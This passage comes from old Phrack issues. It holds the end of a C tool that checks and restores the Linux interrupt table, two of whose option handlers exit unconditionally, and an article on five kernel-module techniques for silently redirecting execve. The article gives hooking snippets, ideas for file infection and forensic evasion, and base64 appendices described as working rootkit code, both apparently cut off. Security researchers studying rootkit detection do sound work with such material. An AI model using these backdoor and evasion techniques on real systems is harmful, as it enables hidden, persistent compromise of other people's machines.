printf("%‑7i 0x%‑14.8x %‑12s%‑8i%‑16s %s\n",x,stub_addr,segment,dpl,type,name); }

else

{

printf("%‑7i 0x%‑14.8x %‑12s %‑7i%s\n",x,stub_addr,segment,dpl,type); }

}

}

}

free(descriptor);

}

void create_archive(char *file)

{

FILE *file_idt;

struct descriptor_idt *descriptor;

int x;

descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); if(!(file_idt=fopen(file,"w")))

{

fprintf(stderr,"Error while opening file\n"); exit(‑1);

}

for(x=0;x<(get_size_idt()+1)/8;x++)

{ readkmem(descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt)); fwrite(descriptor,sizeof(struct descriptor_idt),1,file_idt); }

free(descriptor);

fclose(file_idt);

fprintf(stderr,"Creating file archive idt done \n"); }

void read_archive(char *file)

{

FILE *file_idt;

int x;

struct descriptor_idt *descriptor;

unsigned long stub_addr;

descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); if(!(file_idt=fopen(file,"r")))

{

fprintf(stderr,"Error, check if the file exist\n"); exit(‑1);

}

for(x=0;x<(get_size_idt()+1)/8;x++)

{

fread(descriptor,sizeof(struct descriptor_idt),1,file_idt); stub_addr=(unsigned long)(descriptor‑>offset_high << 16) + descriptor‑>offset_low; printf("Interruption : %i ‑‑ Stub addresse : 0x%.8x\n",x,stub_addr); }

free(descriptor);

fclose(file_idt);

}

void compare_idt(char *file,int restore_idt)

{

FILE *file_idt;

int x,change=0;

int result;

struct descriptor_idt *save_descriptor,*actual_descriptor; unsigned long save_stub_addr,actual_stub_addr; unsigned short *offset;

save_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); actual_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt)); file_idt=fopen(file,"r"); for(x=0;x<(get_size_idt()+1)/8;x++)

{ fread(save_descriptor,sizeof(struct descriptor_idt),1,file_idt); save_stub_addr=(unsigned long)(save_descriptor‑>offset_high << 16) + save_descriptor‑>offset_low; readkmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt)); actual_stub_addr=(unsigned long)(actual_descriptor‑>offset_high << 16) + actual_descriptor‑>offset_low; if(actual_stub_addr != save_stub_addr) {

if(restore_idt < 1)

{

fprintf(stderr,VERT"Hey stub address of interrupt %i has changed!!!\n"NORMAL,x);

fprintf(stderr,"Old Value : 0x%.8x\n",save_stub_addr);

fprintf(stderr,"New Value : 0x%.8x\n",actual_stub_addr);

change=1;

}

else

{

fprintf(stderr,VERT"Restore old stub address of interrupt %i\n"NORMAL,x);

actual_descriptor‑>offset_high = (unsigned short) (save_stub_addr >> 16);

actual_descriptor‑>offset_low = (unsigned short) (save_stub_addr & 0x0000FFFF);

writekmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt));

change=1;

}

}

}

if(!change)

fprintf(stderr,VERT"All values are same\n"NORMAL); }

void initialize_value(struct Mode *mode)

{

mode‑>show_idt_addr=‑1;

mode‑>show_all_info=‑1; mode‑>show_all_descriptor=‑1; mode‑>create_file_archive=‑1; mode‑>read_file_archive=‑1; strncpy(mode‑>out_filename,DEFAULT_FILE,strlen(DEFAULT_FILE)); mode‑>compare_idt=‑1;

mode‑>restore_idt=‑1; strncpy(mode‑>in_filename,DEFAULT_FILE,strlen(DEFAULT_FILE)); strncpy(mode‑>map_filename,DEFAULT_MAP,strlen(DEFAULT_MAP)); mode‑>resolve=‑1;

}

void usage()

{

fprintf(stderr,"CheckIDT V 1.1 by kad\n"); fprintf(stderr,"‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑\n"); fprintf(stderr,"Option : \n");

fprintf(stderr," ‑a nb show all info about one interrupt\n"); fprintf(stderr," ‑A showw all info about all interrupt\n"); fprintf(stderr," ‑I show IDT address \n"); fprintf(stderr," ‑c create file archive\n"); fprintf(stderr," ‑r read file archive\n"); fprintf(stderr," ‑o file output filename (for creating file archive)\n"); fprintf(stderr," ‑C compare save idt & new idt\n"); fprintf(stderr," ‑R restore IDT\n"); fprintf(stderr," ‑i file input filename to compare or read\n"); fprintf(stderr," ‑s resolve symbol thanks to /boot/System.map\n"); fprintf(stderr," ‑S filespecify a map file\n\n"); exit(1);

}

int main(int argc, char ** argv)

{

int option;

struct Mode *mode;

if (argc < 2)

{

usage();

}

mode=(struct Mode *) malloc(sizeof(struct Mode)); initialize_value(mode);

while((option=getopt(argc,argv,"hIa:Aco:Ci:rRsS:"))!=‑1) {

switch(option)

{

case 'h': usage();

exit(1);

case 'I': mode‑>show_idt_addr=1;

break;

case 'a': mode‑>show_all_info=atoi(optarg);

break;

case 'A': mode‑>show_all_descriptor=1;

break;

case 'c': mode‑>create_file_archive=1;

break;

case 'r': mode‑>read_file_archive=1;

break;

case 'R': mode‑>restore_idt=1;

break;

case 'o': bzero(mode‑>out_filename,sizeof(mode‑>out_filename));

if(strlen(optarg) > 20)

fprintf(stderr,"Filename too long\n");

exit(‑1);

strncpy(mode‑>out_filename,optarg,strlen(optarg));

break;

case 'C': mode‑>compare_idt=1;

break;

case 'i': bzero(mode‑>in_filename,sizeof(mode‑>in_filename));

if(strlen(optarg) > 20)

fprintf(stderr,"Filename too long\n");

exit(‑1);

strncpy(mode‑>in_filename,optarg,strlen(optarg));

break;

case 's': mode‑>resolve=1;

break;

case 'S': bzero(mode‑>map_filename,sizeof(mode‑>map_filename)); if(strlen(optarg) > 40)

{

fprintf(stderr,"Filename too long\n");

exit(‑1);

} if(optarg)strncpy(mode‑>map_filename,optarg,strlen(optarg)); break;

}

}

printf("\n");

ptr_idt=get_addr_idt();

if(mode‑>show_idt_addr >= 0)

{

fprintf(stdout,"Addresse IDT : 0x%x\n",ptr_idt); }

fd_kmem=open("/dev/kmem",O_RDWR); if(mode‑>show_all_info >= 0 || mode‑>show_all_descriptor >= 0) { show_all_info(mode‑>show_all_info,mode‑>show_all_descriptor,mode‑>map_filename,mode‑>resolve); }

if(mode‑>create_file_archive >= 0)

{ create_archive(mode‑>out_filename); }

if(mode‑>read_file_archive >= 0)

{

read_archive(mode‑>in_filename);

}

if(mode‑>compare_idt >= 0)

{ compare_idt(mode‑>in_filename,mode‑>restore_idt); }

if(mode‑>restore_idt >= 0)

{ compare_idt(mode‑>in_filename,mode‑>restore_idt); }

printf(JAUNE"\nThanks for choosing kad's products :‑)\n"NORMAL);

free(mode);

return 0;

}

<‑‑>

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Advances in kernel hacking II

==Phrack Inc.==

Volume 0x0b, Issue 0x3b, Phile #0x05 of 0x12

|=‑‑‑=[ 5 Short Stories about execve (Advances in Kernel Hacking II) ]=‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ palmers <palmers@team‑teso.net> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Contents

1 ‑ Introduction

2 ‑ Execution Redirection

3 ‑ Short Stories

3.1 ‑ The Classic

3.2 ‑ The Obvious

3.3 ‑ The Waiter

3.4 ‑ The Nexus

3.5 ‑ The Lord

4 ‑ Conclusion

5 ‑ Reference

Appendix A: stories.tgz.uu

Appendix B: fluc.c.gz.uu

‑‑[ 1 ‑ Introduction

"Oedipus: What is the rite of purification? How shall it be done? Creon: By banishing a man, or expiation of blood by blood ..." ‑ Sophocles, Oedipus the King

What once was said cannot be banished. Expiation of the wrongs that inspire peoples thinking and opinion may change.

I concern again on kernel hacking, not on literature. Especially in this field many, many ideas need to be expiated as useless. That does not mean they do not allow to solve particular problems. It means the problems which can be solved are not those which were aimed to be solved.

‑‑[ 2 ‑ Execution Redirection

If a binary is requested to be executed, you are redirecting execution when you execute another binary. The user will stay unnotified of the change. Some kernel modules implement this feature as it can be used to replace a file but only when executed. The real binary will remain unmodified.

Since no file is modified, tamper detection systems as [1] or [2] cannot percept such a backdoor. On the other hand, execution redirection is used in honeypot scenarios to fool attackers.

Even after years of active kernel development, the loadable kernel modules (lkm) implementing execution redirection use merely the same technique. As this makes it easy for some admins to percept a backdoor faster, others still are not aware of the danger. However, the real danger was not yet presented.

‑‑[ 3 ‑ Short Stories

I will show five different approaches how execution can be redirected. Appendix A contains working example code to illustrate them. The examples do work but are not really capable to be used in the wild. You get the idea.

In order to understand the sourcecodes provided it is helpful to read [4] or [5].

The example code just show how this techniques can be used in a lkm. Further, I implemented them only for Linux. These techniques are not limited to Linux. With minor (and in a few cases major) modifications most can be ported to any UNIX.

‑‑[ 3.1 ‑ The Classic

Only for completeness, the classic. Redirection is achieved by replacing the system call handling execution. See classic.c from appendix A. There is nothing much to say about this one; it is used by [3] and explained in [6]. It might be detected by checking the address pointed to in the system call table.

‑‑[ 3.2 ‑ The Obvious

Since the system call is architecture dependent, there is a underlying layer handling the execution. The kernel sourcecode represents it in do_execve (~/fs/exec.c). The execve system call can be understood as a wrapper to do_execve. We will replace do_execve:

n_do_execve (char *file, char **arvp, char **envp, \ struct pt_regs *regs)

...

if (!strcmp (file, O_REDIR_PATH)) {

file = strdup (N_REDIR_PATH);

}

restore_do_execve ();

ret = do_execve (file, arvp, envp, regs);

redirect_do_execve ();

...

To actually redirect the execution we replace do_execve and replace the filename on demand. It is obviously the same approach as wrapping the execve system call. For a implementation see obvious.c in appendix A. No lkm using this technique is known to me.

Detecting this one is not as easy as detecting the classic and depends on the technique used to replace it. (Checking for a jump instruction right at function begin is certainly a good idea).

‑‑[ 3.3 ‑ The Waiter

Upon execution, the binary has to be opened for reading. The kernel gives a dedicated function for this task, open_exec. It will open the binary file and do some sanity checks.

As open_exec needs the complete path to the binary to open it this is again easy going. We just replace the filename on demand and call the original function. open_exec is called from within do_execve.

To the waiter the same applies as to the obvious. Detection is possible but not trivial.

‑‑[ 3.4 ‑ The Nexus

After the binary file is opened, its ready to be read, right? Before it is done, the according binary format handler is searched. The handler processes the binary. Normally, this ends in the start of a new process.

A binary format handler is defined as following (see ~/include/linux/ binfmts.h):

/*

* This structure defines the functions that are

* used to load the binary formats that linux

* accepts.

*/

struct linux_binfmt {

struct linux_binfmt * next;

struct module *module;

int (*load_binary)(struct linux_binprm *, \

struct pt_regs * regs);

int (*load_shlib)(struct file *);

int (*core_dump)(long signr, struct pt_regs * regs, \ struct file * file);

unsigned long min_coredump;/* minimal dump size */

};

Binary format handlers provide three pointers to functions. One for loading libraries, another for producing core dump files, the third for loading binaries (pfff ...). We replace this pointer.

Our new load_binary function looks as follows:

int new_load_binary (struct linux_binprm *bin, \

struct pt_regs *regs) {

int ret;

if (!strcmp (bin‑>filename, O_REDIR_PATH)) {

/*

* if a binary, subject to redirection, is about

* to be executed just close the file

* descriptor and open a new file. do not

* forget resetup.

*/

filp_close (bin‑>file, 0);

bin‑>file = open_exec (N_REDIR_PATH);

prepare_binprm (bin);

goto out;

}

out:

return old_load_binary (bin, regs);

}

But how can we get the binary handlers? They are not exported, if not loaded as module. A possibility is executing and watching a binary of all available binary formats. Since the task structure inside the kernel carries a pointer to the handler for its binary it is possible to collect the pointers. (The handlers form a linked list ‑ it is not really needed to execute one binary of each type; theoretically at least).

The reference implementation, nexus.c in appendix A, fetches the first binary handler it gets its hands on. This is reasonable since virtually all linux distributors use homogeneous ELF based user land. What is more, it is very unlikely that the binary format of system binaries change.

As used by nexus.c, one way of fetching binary handlers. Note that we do replace a system call but we restore it immediatly after we got our binary handler. This opens a very small time window where the replaced system call might be detected (if tried at all). Of course, we could have fetched the pointer directly in init_module. In other words: the time window is arbitrary small.

int n_open (char *file, int flags) {

int ret = o_open (file, flags);

/*

* ... get one. be sure to save (and restore)

* the original pointer. having binary hand‑

* lers pointing to nirvana is no fun.

*/

elf_bin = current‑>binfmt;

old_load_binary = elf_bin‑>load_binary; elf_bin‑>load_binary = &new_load_binary;

/*

* and restore the system call.

*/

sys_call_table[__NR_open] = o_open;

return ret;

}

An evil attack would of course replace the core_dump pointer, too. Otherways it may be possible to detect redirection of execution by letting each process, right after creation, coredump. Then one may check properties of the dump and if they match, or not, execution may be reinitalized, or not, respectively. I do not recomment this method to detect redirection, though.

An evil virus could wrap the load_binary function for infecting all binaries executed in memory.

Even replaced pointers are hard to check if you do not know where they are. If we have a recent System.map file, we can walk the list of binary handlers since we can look up the address of the root entry ("formats" as defined in ~/fs/exec.c) and the handler functions. In other cases we might be out of luck. One might try to collect the unmodified addresses himself to be able to check them later one. Not a good idea ...

‑‑[ 3.5 ‑ The Lord

What about not redirecting execution at execution time? Where is the logic in not redirecting execution flow when it is exactly what we are doing here?

When ELF binaries are executed, the kernel invokes a dynamic linker. It does necessary setup work as loading shared libraries and relocating them. We will try to make an advantage of this.

Between execution of a binary at system level and the start of the execution at user level is a gap where the setup described above is done. And as loading of libraries involves mmap'ing and mprotect'ing we already know where we can start. We will just look at these system calls. Shared libraries are loaded to the same (static) address (which might differ from system to system). If a certain address is to be mapped or mprotect'ed by a certain process we restart the execution, with our binary. At this point of execution, the process calling mmap or mprotect is the dynamic linker.

That is was the example implementation in appendix A, lord.c, does.

Note that we can, of course, look for an arbitrary runtime pattern, there is no need for sticking to mmap or mprotect system calls. It is only of importance to start the new binary before the user can percept what is going on.

Note, too, that this technique may be used to execute a binary in before and afterwards of the binary requested to be executed. That might be useful to modify the system enviroment.

And finally note that we are not forced to sticking to a distinct runtime pattern. We may change at will the pattern triggering a redirection. I am really curious what people will do to detect execution redirection achieved with this method as it is not sufficient to check for one or two replaced pointers. It is even not sufficient to do execution path analysis as the path can be different for each execution. And it is not enough to search the filesystems for hidden files (which might indicate that, too, execution redirection is going on). Why is it not enough? See appendix B. All employed methods for forensical analysis of execution redirection defeated in one module? We could make the decision from/to where and when (and whoms) execution shall be redirected dependant on an arbitrary state or pattern.

This is another handy entry point for an infector.

‑‑[ 4 ‑ Conclusion

We can take complete control of binary execution. There are many ways to redirect execution, some are easier to detect than others. It has to be asserted that it is not sufficient to check for one or two replaced pointer to get evidence if a system has been backdoored. Even if a system call has not been replaced (not even redirected at all) execution redirection can happen.

One might now argue it is possible to search the binary redirected to. It has to be physically present on the harddisk. Programs have been developed to compare the content of a harddisk to the filesystem content shown in user land. Therefore it would be possible to detect even hidden files, as there might be, if a kernel backdoor is in use. That is completely wrong.

Most obviously we would keep the binary totally in kernel memory. If our binary needs to be executed, we write it to disk and execute. When finished, we unlink it. Of course, it is also possible to copy the binary just "in place" when it is to be executed. Finally, to prevent pattern matching in kernel memory, we encrypt the data. A approach to this method is shown in appendix B. Under linux we can abuse the proc filesystem for this purpose, too.

As long as forensic tools work on with a closed world assumption it will be still possible to evade them. Checking for replaced pointers does not help unless you check all, not only those "believed to be" important (letting alone that pointer checking cannot prove if a function is redirected or not). Developers might better invest their time to develop tools checking possible execution paths. Anomaly detection of kernel behaviour is a more reliable forensical analysis method than pattern matching.

‑‑[ 5 ‑ Reference

[1] Tripwire

http://www.tripwire.com

[2] Aide

http://www.cs.tut.fi/~rammer/aide.html

[3] knark http://www.packetstormsecurity.com/UNIX/penetration/rootkits/

knark‑0.59.tar.gz

[4] kernel function hijacking http://www.big.net.au/~silvio/kernel‑hijack.txt

[5] Linux x86 kernel function hooking emulation http://www.phrack.org/show.php?p=58&a=8

[6] LKM ‑ Loadable Linux Kernel Modules http://www.thehackerschoice.com/download.php?t=p&d=LKM_HACKING.html

‑‑[ Appendix A: stories.tgz.uu

<++> ./stories.tgz.uu

begin‑base64 644 stories.tgz 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 BRVUUEE/Ef0XupwxUgBQAAA=

====

<‑‑>

‑‑[ Appendix B: fluc.c.gz.uu

<++> ./fluc.c.gz.uu

begin‑base64 644 fluc.c.gz.uu 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 